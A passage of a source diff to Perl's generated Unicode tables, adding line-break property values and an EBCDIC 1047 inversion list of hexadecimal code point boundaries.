+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#endif	/* defined(PERL_IN_REGEXEC_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV _Perl_LB_invlist[] = { /* for EBCDIC 1047 */
+	2325,	/* Number of elements */
 	148565664, /* Version and data structure type */
-	1,	/* 0 if the list starts at 0;
+	0,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
+	0x5,
+	0x6,
+	0xB,
+	0xD,
+	0xE,
+	0x15,
+	0x16,
+	0x25,
+	0x26,
+	0x40,
 	0x41,
+	0x42,
+	0x4A,
+	0x4B,
+	0x4C,
+	0x4D,
+	0x4E,
+	0x4F,
+	0x50,
+	0x5A,
 	0x5B,
+	0x5C,
+	0x5D,
+	0x5E,
 	0x5F,
 	0x60,
 	0x61,
+	0x62,
+	0x6B,
+	0x6C,
+	0x6D,
+	0x6F,
+	0x70,
+	0x7A,
 	0x7B,
+	0x7D,
+	0x7E,
+	0x7F,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x90,
+	0x91,
+	0x9F,
+	0xA0,
 	0xAA,
-	0xAB,
-	0xB5,
-	0xB6,
-	0xBA,
-	0xBB,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xB1,
+	0xB3,
+	0xBD,
+	0xBE,
+	0xBF,
 	0xC0,
-	0xD7,
-	0xD8,
-	0xF7,
-	0xF8,
-	0x2C2,
-	0x2C6,
-	0x2D2,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xE0,
+	0xE1,
+	0xF0,
+	0xFA,
+	0xFF,
+	0x100,
+	0x2C8,
+	0x2C9,
+	0x2CC,
+	0x2CD,
+	0x2DF,
 	0x2E0,
-	0x2E5,
-	0x2EC,
-	0x2ED,
-	0x2EE,
-	0x2EF,
+	0x300,
+	0x34F,
+	0x350,
+	0x35C,
+	0x363,
 	0x370,
-	0x375,
-	0x376,
-	0x378,
-	0x37B,
 	0x37E,
 	0x37F,
-	0x380,
-	0x386,
-	0x387,
-	0x388,
-	0x38B,
-	0x38C,
-	0x38D,
-	0x38E,
-	0x3A2,
-	0x3A3,
-	0x3F6,
-	0x3F7,
-	0x482,
+	0x483,
 	0x48A,
-	0x530,
-	0x531,
-	0x557,
-	0x559,
-	0x55A,
-	0x561,
-	0x588,
+	0x589,
+	0x58A,
+	0x58B,
+	0x58F,
+	0x590,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
 	0x5D0,
 	0x5EB,
 	0x5F0,
 	0x5F3,
+	0x609,
+	0x60C,
+	0x60E,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61D,
+	0x61E,
 	0x620,
 	0x64B,
-	0x66E,
+	0x660,
+	0x66A,
+	0x66B,
+	0x66D,
 	0x670,
 	0x671,
 	0x6D4,
 	0x6D5,
 	0x6D6,
+	0x6DD,
+	0x6DF,
 	0x6E5,
 	0x6E7,
+	0x6E9,
+	0x6EA,
 	0x6EE,
 	0x6F0,
 	0x6FA,
-	0x6FD,
-	0x6FF,
-	0x700,
-	0x710,
 	0x711,
 	0x712,
 	0x730,
-	0x74D,
+	0x74B,
 	0x7A6,
 	0x7B1,
-	0x7B2,
+	0x7C0,
 	0x7CA,
 	0x7EB,
 	0x7F4,
-	0x7F6,
+	0x7F8,
+	0x7F9,
 	0x7FA,
-	0x7FB,
-	0x800,
 	0x816,
 	0x81A,
 	0x81B,
@@ -6737,12 +41903,12 @@
 	0x825,
 	0x828,
 	0x829,
-	0x840,
+	0x82E,
 	0x859,
-	0x8A0,
-	0x8B5,
-	0x8B6,
-	0x8BE,
+	0x85C,
+	0x8D4,
+	0x8E2,
+	0x8E3,
 	0x904,
 	0x93A,
 	0x93D,
@@ -6751,225 +41917,232 @@
 	0x951,
 	0x958,
 	0x962,
-	0x971,
+	0x964,
+	0x966,
+	0x970,
 	0x981,
-	0x985,
-	0x98D,
-	0x98F,
-	0x991,
-	0x993,
-	0x9A9,
-	0x9AA,
-	0x9B1,
-	0x9B2,
-	0x9B3,
-	0x9B6,
-	0x9BA,
+	0x984,
+	0x9BC,
 	0x9BD,
 	0x9BE,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
 	0x9CE,
-	0x9CF,
-	0x9DC,
-	0x9DE,
-	0x9DF,
+	0x9D7,
+	0x9D8,
 	0x9E2,
+	0x9E4,
+	0x9E6,
 	0x9F0,
 	0x9F2,
-	0xA05,
-	0xA0B,
-	0xA0F,
-	0xA11,
-	0xA13,
-	0xA29,
-	0xA2A,
-	0xA31,
-	0xA32,
-	0xA34,
-	0xA35,
-	0xA37,
-	0xA38,
-	0xA3A,
-	0xA59,
-	0xA5D,
-	0xA5E,
-	0xA5F,
+	0x9F4,
+	0x9F9,
+	0x9FA,
+	0x9FB,
+	0x9FC,
+	0xA01,
+	0xA04,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA66,
+	0xA70,
 	0xA72,
 	0xA75,
-	0xA85,
-	0xA8E,
-	0xA8F,
-	0xA92,
-	0xA93,
-	0xAA9,
-	0xAAA,
-	0xAB1,
-	0xAB2,
-	0xAB4,
-	0xAB5,
-	0xABA,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xABC,
 	0xABD,
 	0xABE,
-	0xAD0,
-	0xAD1,
-	0xAE0,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
 	0xAE2,
-	0xAF9,
+	0xAE4,
+	0xAE6,
+	0xAF0,
+	0xAF1,
+	0xAF2,
 	0xAFA,
-	0xB05,
-	0xB0D,
-	0xB0F,
-	0xB11,
-	0xB13,
-	0xB29,
-	0xB2A,
-	0xB31,
-	0xB32,
-	0xB34,
-	0xB35,
-	0xB3A,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB3C,
 	0xB3D,
 	0xB3E,
-	0xB5C,
-	0xB5E,
-	0xB5F,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
 	0xB62,
-	0xB71,
-	0xB72,
+	0xB64,
+	0xB66,
+	0xB70,
+	0xB82,
 	0xB83,
-	0xB84,
-	0xB85,
-	0xB8B,
-	0xB8E,
-	0xB91,
-	0xB92,
-	0xB96,
-	0xB99,
-	0xB9B,
-	0xB9C,
-	0xB9D,
-	0xB9E,
-	0xBA0,
-	0xBA3,
-	0xBA5,
-	0xBA8,
-	0xBAB,
-	0xBAE,
-	0xBBA,
-	0xBD0,
-	0xBD1,
-	0xC05,
-	0xC0D,
-	0xC0E,
-	0xC11,
-	0xC12,
-	0xC29,
-	0xC2A,
-	0xC3A,
-	0xC3D,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBF0,
+	0xBF9,
+	0xBFA,
+	0xC00,
+	0xC04,
 	0xC3E,
-	0xC58,
-	0xC5B,
-	0xC60,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
 	0xC62,
-	0xC80,
+	0xC64,
+	0xC66,
+	0xC70,
 	0xC81,
-	0xC85,
-	0xC8D,
-	0xC8E,
-	0xC91,
-	0xC92,
-	0xCA9,
-	0xCAA,
-	0xCB4,
-	0xCB5,
-	0xCBA,
+	0xC84,
+	0xCBC,
 	0xCBD,
 	0xCBE,
-	0xCDE,
-	0xCDF,
-	0xCE0,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
 	0xCE2,
-	0xCF1,
-	0xCF3,
-	0xD05,
-	0xD0D,
-	0xD0E,
-	0xD11,
-	0xD12,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xD00,
+	0xD04,
 	0xD3B,
 	0xD3D,
 	0xD3E,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
 	0xD4E,
-	0xD4F,
-	0xD54,
 	0xD57,
-	0xD5F,
+	0xD58,
 	0xD62,
+	0xD64,
+	0xD66,
+	0xD70,
+	0xD79,
 	0xD7A,
-	0xD80,
-	0xD85,
-	0xD97,
-	0xD9A,
-	0xDB2,
-	0xDB3,
-	0xDBC,
-	0xDBD,
-	0xDBE,
-	0xDC0,
-	0xDC7,
-	0xE01,
+	0xD82,
+	0xD84,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF4,
 	0xE31,
 	0xE32,
-	0xE33,
+	0xE34,
+	0xE3B,
+	0xE3F,
 	0xE40,
 	0xE47,
-	0xE81,
-	0xE83,
-	0xE84,
-	0xE85,
-	0xE87,
-	0xE89,
-	0xE8A,
-	0xE8B,
-	0xE8D,
-	0xE8E,
-	0xE94,
-	0xE98,
-	0xE99,
-	0xEA0,
-	0xEA1,
-	0xEA4,
-	0xEA5,
-	0xEA6,
-	0xEA7,
-	0xEA8,
-	0xEAA,
-	0xEAC,
-	0xEAD,
+	0xE4F,
+	0xE50,
+	0xE5A,
+	0xE5C,
 	0xEB1,
 	0xEB2,
-	0xEB3,
+	0xEB4,
+	0xEBA,
+	0xEBB,
 	0xEBD,
-	0xEBE,
-	0xEC0,
-	0xEC5,
-	0xEC6,
-	0xEC7,
-	0xEDC,
-	0xEE0,
-	0xF00,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
 	0xF01,
+	0xF05,
+	0xF06,
+	0xF08,
+	0xF09,
+	0xF0B,
+	0xF0C,
+	0xF0D,
+	0xF12,
+	0xF13,
+	0xF14,
+	0xF15,
+	0xF18,
+	0xF1A,
+	0xF20,
+	0xF2A,
+	0xF34,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3B,
+	0xF3C,
+	0xF3D,
+	0xF3E,
 	0xF40,
-	0xF48,
-	0xF49,
-	0xF6D,
+	0xF71,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
 	0xF88,
 	0xF8D,
-	0x1000,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFC0,
+	0xFC6,
+	0xFC7,
+	0xFD0,
+	0xFD2,
+	0xFD3,
+	0xFD4,
+	0xFD9,
+	0xFDB,
 	0x102B,
 	0x103F,
 	0x1040,
-	0x1050,
+	0x104A,
+	0x104C,
 	0x1056,
 	0x105A,
 	0x105E,
@@ -6983,108 +42156,97 @@
 	0x1082,
 	0x108E,
 	0x108F,
-	0x10A0,
-	0x10C6,
-	0x10C7,
-	0x10C8,
-	0x10CD,
-	0x10CE,
-	0x10D0,
-	0x10FB,
-	0x10FC,
-	0x1249,
-	0x124A,
-	0x124E,
-	0x1250,
-	0x1257,
-	0x1258,
-	0x1259,
-	0x125A,
-	0x125E,
-	0x1260,
-	0x1289,
-	0x128A,
-	0x128E,
-	0x1290,
-	0x12B1,
-	0x12B2,
-	0x12B6,
-	0x12B8,
-	0x12BF,
-	0x12C0,
-	0x12C1,
-	0x12C2,
-	0x12C6,
-	0x12C8,
-	0x12D7,
-	0x12D8,
-	0x1311,
-	0x1312,
-	0x1316,
-	0x1318,
-	0x135B,
-	0x1380,
-	0x1390,
-	0x13A0,
-	0x13F6,
-	0x13F8,
-	0x13FE,
+	0x1090,
+	0x109A,
+	0x109E,
+	0x1100,
+	0x1160,
+	0x11A8,
+	0x1200,
+	0x135D,
+	0x1360,
+	0x1361,
+	0x1362,
+	0x1400,
 	0x1401,
-	0x166D,
-	0x166F,
 	0x1680,
 	0x1681,
 	0x169B,
-	0x16A0,
+	0x169C,
+	0x169D,
 	0x16EB,
 	0x16EE,
-	0x16F9,
-	0x1700,
-	0x170D,
-	0x170E,
 	0x1712,
-	0x1720,
+	0x1715,
 	0x1732,
-	0x1740,
+	0x1735,
+	0x1737,
 	0x1752,
-	0x1760,
-	0x176D,
-	0x176E,
-	0x1771,
-	0x1780,
+	0x1754,
+	0x1772,
+	0x1774,
 	0x17B4,
+	0x17D4,
+	0x17D6,
 	0x17D7,
 	0x17D8,
+	0x17D9,
+	0x17DA,
+	0x17DB,
 	0x17DC,
 	0x17DD,
-	0x1820,
-	0x1878,
-	0x1880,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x1802,
+	0x1804,
+	0x1806,
+	0x1807,
+	0x1808,
+	0x180A,
+	0x180B,
+	0x180E,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1885,
+	0x1887,
 	0x18A9,
 	0x18AA,
-	0x18AB,
-	0x18B0,
-	0x18F6,
-	0x1900,
-	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1944,
+	0x1946,
 	0x1950,
-	0x196E,
-	0x1970,
-	0x1975,
-	0x1980,
-	0x19AC,
-	0x19B0,
-	0x19CA,
-	0x1A00,
+	0x19D0,
+	0x19DA,
 	0x1A17,
-	0x1A20,
+	0x1A1C,
 	0x1A55,
-	0x1AA7,
-	0x1AA8,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
 	0x1B05,
 	0x1B34,
 	0x1B45,
-	0x1B4C,
+	0x1B50,
+	0x1B5A,
+	0x1B5C,
+	0x1B5D,
+	0x1B61,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
 	0x1B83,
 	0x1BA1,
 	0x1BAE,
@@ -7091,14 +42253,19 @@
 	0x1BB0,
 	0x1BBA,
 	0x1BE6,
-	0x1C00,
+	0x1BF4,
 	0x1C24,
-	0x1C4D,
+	0x1C38,
+	0x1C3B,
+	0x1C40,
+	0x1C4A,
 	0x1C50,
 	0x1C5A,
 	0x1C7E,
 	0x1C80,
-	0x1C89,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
 	0x1CE9,
 	0x1CED,
 	0x1CEE,
@@ -7105,171 +42272,382 @@
 	0x1CF2,
 	0x1CF5,
 	0x1CF7,
-	0x1D00,
+	0x1CFA,
 	0x1DC0,
+	0x1DFA,
+	0x1DFB,
 	0x1E00,
-	0x1F16,
-	0x1F18,
-	0x1F1E,
-	0x1F20,
-	0x1F46,
-	0x1F48,
-	0x1F4E,
-	0x1F50,
-	0x1F58,
-	0x1F59,
-	0x1F5A,
-	0x1F5B,
-	0x1F5C,
-	0x1F5D,
-	0x1F5E,
-	0x1F5F,
-	0x1F7E,
-	0x1F80,
-	0x1FB5,
-	0x1FB6,
-	0x1FBD,
-	0x1FBE,
-	0x1FBF,
-	0x1FC2,
-	0x1FC5,
-	0x1FC6,
-	0x1FCD,
-	0x1FD0,
-	0x1FD4,
-	0x1FD6,
-	0x1FDC,
-	0x1FE0,
-	0x1FED,
-	0x1FF2,
-	0x1FF5,
-	0x1FF6,
 	0x1FFD,
-	0x2071,
-	0x2072,
+	0x1FFE,
+	0x2000,
+	0x2007,
+	0x2008,
+	0x200B,
+	0x200C,
+	0x200D,
+	0x200E,
+	0x2010,
+	0x2011,
+	0x2012,
+	0x2014,
+	0x2015,
+	0x2018,
+	0x201A,
+	0x201B,
+	0x201E,
+	0x201F,
+	0x2020,
+	0x2024,
+	0x2027,
+	0x2028,
+	0x202A,
+	0x202F,
+	0x2030,
+	0x2038,
+	0x2039,
+	0x203B,
+	0x203C,
+	0x203E,
+	0x2044,
+	0x2045,
+	0x2046,
+	0x2047,
+	0x204A,
+	0x2056,
+	0x2057,
+	0x2058,
+	0x205C,
+	0x205D,
+	0x2060,
+	0x2061,
+	0x2066,
+	0x2070,
+	0x207D,
+	0x207E,
 	0x207F,
-	0x2080,
-	0x2090,
-	0x209D,
-	0x2102,
+	0x208D,
+	0x208E,
+	0x208F,
+	0x20A0,
+	0x20A7,
+	0x20A8,
+	0x20B6,
+	0x20B7,
+	0x20BB,
+	0x20BC,
+	0x20BE,
+	0x20BF,
+	0x20D0,
+	0x20F1,
 	0x2103,
-	0x2107,
-	0x2108,
+	0x2104,
+	0x2109,
 	0x210A,
-	0x2114,
-	0x2115,
 	0x2116,
-	0x2119,
-	0x211E,
-	0x2124,
-	0x2125,
-	0x2126,
-	0x2127,
-	0x2128,
-	0x2129,
-	0x212A,
-	0x212E,
-	0x212F,
-	0x213A,
-	0x213C,
-	0x2140,
-	0x2145,
-	0x214A,
-	0x214E,
-	0x214F,
-	0x2160,
-	0x2189,
-	0x2C00,
-	0x2C2F,
-	0x2C30,
-	0x2C5F,
-	0x2C60,
-	0x2CE5,
-	0x2CEB,
+	0x2117,
+	0x2212,
+	0x2214,
+	0x22EF,
+	0x22F0,
+	0x2308,
+	0x2309,
+	0x230A,
+	0x230B,
+	0x230C,
+	0x231A,
+	0x231C,
+	0x2329,
+	0x232A,
+	0x232B,
+	0x23F0,
+	0x23F4,
+	0x2600,
+	0x2604,
+	0x2614,
+	0x2616,
+	0x2618,
+	0x2619,
+	0x261A,
+	0x261D,
+	0x261E,
+	0x2620,
+	0x2639,
+	0x263C,
+	0x2668,
+	0x2669,
+	0x267F,
+	0x2680,
+	0x26BD,
+	0x26C9,
+	0x26CD,
+	0x26CE,
+	0x26CF,
+	0x26D2,
+	0x26D3,
+	0x26D5,
+	0x26D8,
+	0x26DA,
+	0x26DC,
+	0x26DD,
+	0x26DF,
+	0x26E2,
+	0x26EA,
+	0x26EB,
+	0x26F1,
+	0x26F6,
+	0x26F7,
+	0x26F9,
+	0x26FA,
+	0x26FB,
+	0x26FD,
+	0x2705,
+	0x2708,
+	0x270A,
+	0x270E,
+	0x275B,
+	0x2761,
+	0x2762,
+	0x2764,
+	0x2765,
+	0x2768,
+	0x2769,
+	0x276A,
+	0x276B,
+	0x276C,
+	0x276D,
+	0x276E,
+	0x276F,
+	0x2770,
+	0x2771,
+	0x2772,
+	0x2773,
+	0x2774,
+	0x2775,
+	0x2776,
+	0x27C5,
+	0x27C6,
+	0x27C7,
+	0x27E6,
+	0x27E7,
+	0x27E8,
+	0x27E9,
+	0x27EA,
+	0x27EB,
+	0x27EC,
+	0x27ED,
+	0x27EE,
+	0x27EF,
+	0x27F0,
+	0x2983,
+	0x2984,
+	0x2985,
+	0x2986,
+	0x2987,
+	0x2988,
+	0x2989,
+	0x298A,
+	0x298B,
+	0x298C,
+	0x298D,
+	0x298E,
+	0x298F,
+	0x2990,
+	0x2991,
+	0x2992,
+	0x2993,
+	0x2994,
+	0x2995,
+	0x2996,
+	0x2997,
+	0x2998,
+	0x2999,
+	0x29D8,
+	0x29D9,
+	0x29DA,
+	0x29DB,
+	0x29DC,
+	0x29FC,
+	0x29FD,
+	0x29FE,
 	0x2CEF,
 	0x2CF2,
-	0x2CF4,
+	0x2CF9,
+	0x2CFA,
+	0x2CFD,
+	0x2CFE,
+	0x2CFF,
 	0x2D00,
-	0x2D26,
-	0x2D27,
-	0x2D28,
-	0x2D2D,
-	0x2D2E,
-	0x2D30,
-	0x2D68,
-	0x2D6F,
 	0x2D70,
+	0x2D71,
+	0x2D7F,
 	0x2D80,
-	0x2D97,
-	0x2DA0,
-	0x2DA7,
-	0x2DA8,
-	0x2DAF,
-	0x2DB0,
-	0x2DB7,
-	0x2DB8,
-	0x2DBF,
-	0x2DC0,
-	0x2DC7,
-	0x2DC8,
-	0x2DCF,
-	0x2DD0,
-	0x2DD7,
-	0x2DD8,
-	0x2DDF,
+	0x2DE0,
+	0x2E00,
+	0x2E0E,
+	0x2E16,
+	0x2E17,
+	0x2E18,
+	0x2E19,
+	0x2E1A,
+	0x2E1C,
+	0x2E1E,
+	0x2E20,
+	0x2E22,
+	0x2E23,
+	0x2E24,
+	0x2E25,
+	0x2E26,
+	0x2E27,
+	0x2E28,
+	0x2E29,
+	0x2E2A,
+	0x2E2E,
+	0x2E2F,
+	0x2E30,
+	0x2E32,
+	0x2E33,
+	0x2E35,
+	0x2E3A,
+	0x2E3C,
+	0x2E3F,
+	0x2E40,
+	0x2E42,
+	0x2E43,
+	0x2E4A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3001,
+	0x3003,
 	0x3005,
+	0x3006,
 	0x3008,
-	0x3021,
+	0x3009,
+	0x300A,
+	0x300B,
+	0x300C,
+	0x300D,
+	0x300E,
+	0x300F,
+	0x3010,
+	0x3011,
+	0x3012,
+	0x3014,
+	0x3015,
+	0x3016,
+	0x3017,
+	0x3018,
+	0x3019,
+	0x301A,
+	0x301B,
+	0x301C,
+	0x301D,
+	0x301E,
+	0x3020,
 	0x302A,
-	0x3031,
+	0x3030,
+	0x3035,
 	0x3036,
-	0x3038,
+	0x303B,
 	0x303D,
+	0x3040,
 	0x3041,
+	0x3042,
+	0x3043,
+	0x3044,
+	0x3045,
+	0x3046,
+	0x3047,
+	0x3048,
+	0x3049,
+	0x304A,
+	0x3063,
+	0x3064,
+	0x3083,
+	0x3084,
+	0x3085,
+	0x3086,
+	0x3087,
+	0x3088,
+	0x308E,
+	0x308F,
+	0x3095,
 	0x3097,
-	0x309D,
+	0x3099,
+	0x309B,
+	0x309F,
 	0x30A0,
-	0x30A1,
+	0x30A2,
+	0x30A3,
+	0x30A4,
+	0x30A5,
+	0x30A6,
+	0x30A7,
+	0x30A8,
+	0x30A9,
+	0x30AA,
+	0x30C3,
+	0x30C4,
+	0x30E3,
+	0x30E4,
+	0x30E5,
+	0x30E6,
+	0x30E7,
+	0x30E8,
+	0x30EE,
+	0x30EF,
+	0x30F5,
+	0x30F7,
 	0x30FB,
-	0x30FC,
+	0x30FF,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
-	0x31A0,
+	0x3190,
 	0x31BB,
+	0x31C0,
+	0x31E4,
 	0x31F0,
 	0x3200,
-	0x3400,
-	0x4DB6,
+	0x321F,
+	0x3220,
+	0x3248,
+	0x3250,
+	0x32FF,
+	0x3300,
+	0x4DC0,
 	0x4E00,
-	0x9FD6,
-	0xA000,
+	0xA015,
+	0xA016,
 	0xA48D,
-	0xA4D0,
+	0xA490,
+	0xA4C7,
 	0xA4FE,
 	0xA500,
 	0xA60D,
+	0xA60E,
+	0xA60F,
 	0xA610,
 	0xA620,
 	0xA62A,
-	0xA62C,
-	0xA640,
 	0xA66F,
-	0xA67F,
+	0xA673,
+	0xA674,
+	0xA67E,
 	0xA69E,
 	0xA6A0,
 	0xA6F0,
-	0xA717,
-	0xA720,
-	0xA722,
-	0xA789,
-	0xA78B,
-	0xA7AF,
-	0xA7B0,
-	0xA7B8,
-	0xA7F7,
+	0xA6F2,
+	0xA6F3,
+	0xA6F8,
 	0xA802,
 	0xA803,
 	0xA806,
@@ -7277,41 +42655,54 @@
 	0xA80B,
 	0xA80C,
 	0xA823,
-	0xA840,
+	0xA828,
+	0xA838,
+	0xA839,
 	0xA874,
+	0xA876,
+	0xA878,
+	0xA880,
 	0xA882,
 	0xA8B4,
+	0xA8C6,
+	0xA8CE,
+	0xA8D0,
+	0xA8DA,
+	0xA8E0,
 	0xA8F2,
-	0xA8F8,
-	0xA8FB,
 	0xA8FC,
 	0xA8FD,
-	0xA8FE,
+	0xA900,
 	0xA90A,
 	0xA926,
+	0xA92E,
 	0xA930,
 	0xA947,
+	0xA954,
 	0xA960,
 	0xA97D,
+	0xA980,
 	0xA984,
 	0xA9B3,
-	0xA9CF,
+	0xA9C1,
+	0xA9C7,
+	0xA9CA,
 	0xA9D0,
-	0xA9E0,
+	0xA9DA,
 	0xA9E5,
 	0xA9E6,
 	0xA9F0,
 	0xA9FA,
-	0xA9FF,
-	0xAA00,
 	0xAA29,
-	0xAA40,
+	0xAA37,
 	0xAA43,
 	0xAA44,
 	0xAA4C,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5D,
 	0xAA60,
-	0xAA77,
-	0xAA7A,
 	0xAA7B,
 	0xAA7E,
 	0xAAB0,
@@ -7324,30 +42715,815 @@
 	0xAAC0,
 	0xAAC1,
 	0xAAC2,
-	0xAAC3,
-	0xAADB,
-	0xAADE,
-	0xAAE0,
 	0xAAEB,
+	0xAAF0,
 	0xAAF2,
 	0xAAF5,
-	0xAB01,
-	0xAB07,
-	0xAB09,
-	0xAB0F,
-	0xAB11,
-	0xAB17,
-	0xAB20,
-	0xAB27,
-	0xAB28,
-	0xAB2F,
-	0xAB30,
-	0xAB5B,
-	0xAB5C,
-	0xAB66,
-	0xAB70,
+	0xAAF7,
 	0xABE3,
+	0xABEB,
+	0xABEC,
+	0xABEE,
+	0xABF0,
+	0xABFA,
 	0xAC00,
+	0xAC01,
+	0xAC1C,
+	0xAC1D,
+	0xAC38,
+	0xAC39,
+	0xAC54,
+	0xAC55,
+	0xAC70,
+	0xAC71,
+	0xAC8C,
+	0xAC8D,
+	0xACA8,
+	0xACA9,
+	0xACC4,
+	0xACC5,
+	0xACE0,
+	0xACE1,
+	0xACFC,
+	0xACFD,
+	0xAD18,
+	0xAD19,
+	0xAD34,
+	0xAD35,
+	0xAD50,
+	0xAD51,
+	0xAD6C,
+	0xAD6D,
+	0xAD88,
+	0xAD89,
+	0xADA4,
+	0xADA5,
+	0xADC0,
+	0xADC1,
+	0xADDC,
+	0xADDD,
+	0xADF8,
+	0xADF9,
+	0xAE14,
+	0xAE15,
+	0xAE30,
+	0xAE31,
+	0xAE4C,
+	0xAE4D,
+	0xAE68,
+	0xAE69,
+	0xAE84,
+	0xAE85,
+	0xAEA0,
+	0xAEA1,
+	0xAEBC,
+	0xAEBD,
+	0xAED8,
+	0xAED9,
+	0xAEF4,
+	0xAEF5,
+	0xAF10,
+	0xAF11,
+	0xAF2C,
+	0xAF2D,
+	0xAF48,
+	0xAF49,
+	0xAF64,
+	0xAF65,
+	0xAF80,
+	0xAF81,
+	0xAF9C,
+	0xAF9D,
+	0xAFB8,
+	0xAFB9,
+	0xAFD4,
+	0xAFD5,
+	0xAFF0,
+	0xAFF1,
+	0xB00C,
+	0xB00D,
+	0xB028,
+	0xB029,
+	0xB044,
+	0xB045,
+	0xB060,
+	0xB061,
+	0xB07C,
+	0xB07D,
+	0xB098,
+	0xB099,
+	0xB0B4,
+	0xB0B5,
+	0xB0D0,
+	0xB0D1,
+	0xB0EC,
+	0xB0ED,
+	0xB108,
+	0xB109,
+	0xB124,
+	0xB125,
+	0xB140,
+	0xB141,
+	0xB15C,
+	0xB15D,
+	0xB178,
+	0xB179,
+	0xB194,
+	0xB195,
+	0xB1B0,
+	0xB1B1,
+	0xB1CC,
+	0xB1CD,
+	0xB1E8,
+	0xB1E9,
+	0xB204,
+	0xB205,
+	0xB220,
+	0xB221,
+	0xB23C,
+	0xB23D,
+	0xB258,
+	0xB259,
+	0xB274,
+	0xB275,
+	0xB290,
+	0xB291,
+	0xB2AC,
+	0xB2AD,
+	0xB2C8,
+	0xB2C9,
+	0xB2E4,
+	0xB2E5,
+	0xB300,
+	0xB301,
+	0xB31C,
+	0xB31D,
+	0xB338,
+	0xB339,
+	0xB354,
+	0xB355,
+	0xB370,
+	0xB371,
+	0xB38C,
+	0xB38D,
+	0xB3A8,
+	0xB3A9,
+	0xB3C4,
+	0xB3C5,
+	0xB3E0,
+	0xB3E1,
+	0xB3FC,
+	0xB3FD,
+	0xB418,
+	0xB419,
+	0xB434,
+	0xB435,
+	0xB450,
+	0xB451,
+	0xB46C,
+	0xB46D,
+	0xB488,
+	0xB489,
+	0xB4A4,
+	0xB4A5,
+	0xB4C0,
+	0xB4C1,
+	0xB4DC,
+	0xB4DD,
+	0xB4F8,
+	0xB4F9,
+	0xB514,
+	0xB515,
+	0xB530,
+	0xB531,
+	0xB54C,
+	0xB54D,
+	0xB568,
+	0xB569,
+	0xB584,
+	0xB585,
+	0xB5A0,
+	0xB5A1,
+	0xB5BC,
+	0xB5BD,
+	0xB5D8,
+	0xB5D9,
+	0xB5F4,
+	0xB5F5,
+	0xB610,
+	0xB611,
+	0xB62C,
+	0xB62D,
+	0xB648,
+	0xB649,
+	0xB664,
+	0xB665,
+	0xB680,
+	0xB681,
+	0xB69C,
+	0xB69D,
+	0xB6B8,
+	0xB6B9,
+	0xB6D4,
+	0xB6D5,
+	0xB6F0,
+	0xB6F1,
+	0xB70C,
+	0xB70D,
+	0xB728,
+	0xB729,
+	0xB744,
+	0xB745,
+	0xB760,
+	0xB761,
+	0xB77C,
+	0xB77D,
+	0xB798,
+	0xB799,
+	0xB7B4,
+	0xB7B5,
+	0xB7D0,
+	0xB7D1,
+	0xB7EC,
+	0xB7ED,
+	0xB808,
+	0xB809,
+	0xB824,
+	0xB825,
